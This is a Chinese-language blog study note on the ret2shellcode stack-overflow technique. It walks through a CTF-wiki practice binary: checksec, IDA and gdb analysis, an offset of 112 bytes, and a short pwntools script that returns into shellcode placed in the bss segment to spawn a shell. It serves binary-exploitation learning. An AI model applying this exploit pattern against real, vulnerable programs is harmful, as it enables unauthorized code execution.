文章目录
- 写在前面
- ret2shellcode
- 利用原理
- 利用关键
- 例题
- 参考文章
写在前面
懒狗的第二篇学习,开冲
ret2shellcode
利用原理
ret2shellcode,即控制程序执行 shellcode 代码。一般来说,shellcode 需要我们自己填充。这其实是另外一种典型的利用方法,即此时我们需要自己去填充一些可执行的代码。
在栈溢出的基础上,要想执行 shellcode,需要对应的 binary 在运行时,shellcode 所在的区域具有可执行权限。
利用关键
1、程序存在溢出,并且还要能够控制返回地址
2、程序运行时,shellcode 所在的区域要拥有执行权限
3、操作系统还需要关闭 ASLR (地址空间布局随机化) 保护 。
例题
还是拿着ctfwiki的进行自我学习复现
首先checksec查看一下,源程序只开启了NX保护,并且有可读,可写,可执行段
![在这里插入图片描述 [二进制安全学习]ret2shellcode_栈溢出](https://file.cfanz.cn/uploads/png/2022/10/31/2/fY684JUD8H.png)
接下来用IDA看看
![在这里插入图片描述 [二进制安全学习]ret2shellcode_可执行_02](https://file.cfanz.cn/uploads/png/2022/10/31/2/2e3d63RX33.png)
看到了gets函数很容易想到可以进行栈溢出,同时将对应的字符串复制到 buf2 处,可以看见他在bss段
![在这里插入图片描述 [二进制安全学习]ret2shellcode_栈溢出_03](https://file.cfanz.cn/uploads/png/2022/10/31/2/BMeN9X39IC.png)
简单调试程序,看看这一个 bss 段是否可执行,有可读可写可执行
![在这里插入图片描述 [二进制安全学习]ret2shellcode_可执行_04](https://file.cfanz.cn/uploads/png/2022/10/31/2/4df6Se8a2f.png)
我们就控制程序读入 shellcode,然后控制程序执行 bss 段处的 shellcode即可
下面来看看偏移,首先可以看见调用gets函数的地址0x08048593
![在这里插入图片描述 [二进制安全学习]ret2shellcode_随机化_05](https://file.cfanz.cn/uploads/png/2022/10/31/2/XeB8286f2D.png)
那个80h+s很蒙蔽,直接去gdb调试看看
![在这里插入图片描述 [二进制安全学习]ret2shellcode_随机化_06](https://file.cfanz.cn/uploads/png/2022/10/31/2/215OeW7B4Q.png)
还有
![在这里插入图片描述 [二进制安全学习]ret2shellcode_随机化_07](https://file.cfanz.cn/uploads/png/2022/10/31/2/CT24H24CWP.png)
因此我们不难得到esp为0xffffd130,ebp为0xffffd1b8, s 相对于 esp 的索引为 esp+0x1c,
-
s 的地址为0xffffd14c -
s 相对于 ebp 的偏移为0x6c - s 相对于返回地址的偏移为
0x6c+4 因此不难写出payload
from pwn import *
sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080
sh.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr))
sh.interactive()
利用成功,完美打击
![在这里插入图片描述 [二进制安全学习]ret2shellcode_栈溢出_08](https://file.cfanz.cn/uploads/png/2022/10/31/2/7WbAZ96901.png)
参考文章
https://ctf-wiki.org/pwn/linux/stackoverflow/basic-rop/#ret2shellcode










